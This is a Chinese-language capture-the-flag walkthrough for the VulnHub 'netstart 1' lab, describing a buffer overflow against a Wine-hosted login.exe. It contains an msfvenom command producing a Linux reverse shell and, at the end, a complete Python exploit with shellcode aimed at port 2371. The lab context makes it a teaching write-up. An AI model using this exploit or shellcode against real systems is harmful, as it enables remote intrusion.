这是Vulnhub上的靶机,下载地址为https://www.vulnhub.com/entry/netstart-1,614/,评级为简单。靶机介绍中已经说得很清楚了,主要是对wine运行的程序进行溢出攻击。由于刚刚搞过另一个靶机school,这个靶机的溢出部分大同小异,因此本篇walkthrough相对简单一些,只说一些和school靶机不一样的地方。
虚拟机加载运行,nmap扫描,得到两个端口。
nmap已经扫描出ftp可以匿名登录,且里面有两个文件,应该就是有漏洞的应用程序了,同时,2371端口就是这个程序开启的端口。
把程序下载到本机,一番静态和动态分析(详细请见另一篇博文:传送门)。这里只说重点不一样的地方。
一个是,如果msfvenom生成的是windows反弹shell的话,就会卡在wine里,访问不了linux的系统文件,也就无法得到root flag。
因此,这里我们要生成linux下的shell,命令是:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=yourip LPORT=yourport -b '\x00\x0a\x0d\x2d\x2e\x46\x47\x59\x5e\x60' -f python
第二点是,login.exe这个漏洞程序同样有特殊字符过滤,需要在msfvenom中用-b参数进行规避。但是除了login.exe程序自身过滤的特殊字符外,linux比windows的shell要多三个特殊字符,就是'\x00\x0a\x0d'。以后遇到类似情况,加上就是。
就这两点需要注意。生成漏洞利用程序后,成功得到反弹shell。作者说,得到提权非常简单,那我们直接sudo -l,果然有料。然后就不细说了,轻松提权。
最后,附上漏洞利用程序的python代码。
#!/usr/bin/python3 import socket buf=b'' target_ip='192.168.56.15' target_port=2371 recv_buf=4096 junk = b'a' * 1702 ret_addr=b'\xB8\x12\x50\x62' nops=b'\x90'*32# 可选 buf = b"" buf += b"\xbd\xd0\xcd\x3e\xcb\xda\xd3\xd9\x74\x24\xf4\x5a\x33" buf += b"\xc9\xb1\x12\x83\xc2\x04\x31\x6a\x0e\x03\xba\xc3\xdc" buf += b"\x3e\x0b\x07\xd7\x22\x38\xf4\x4b\xcf\xbc\x73\x8a\xbf" buf += b"\xa6\x4e\xcd\x53\x7f\xe1\xf1\x9e\xff\x48\x77\xd8\x97" buf += b"\x8a\x2f\x22\x03\x63\x32\x53\xda\x2f\xbb\xb2\x6c\xa9" buf += b"\xeb\x65\xdf\x85\x0f\x0f\x3e\x24\x8f\x5d\xa8\xd9\xbf" buf += b"\x12\x40\x4e\xef\xfb\xf2\xe7\x66\xe0\xa0\xa4\xf1\x06" buf += b"\xf4\x40\xcf\x49" payload = b'' payload += junk payload += ret_addr payload += nops payload += buf print(payload) with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock: clientSock.connect((target_ip,target_port)) data_from_srv = clientSock.recv(recv_buf) print(f"Reply --> {data_from_srv}") print(f"Sending --> {payload}") clientSock.sendall(payload)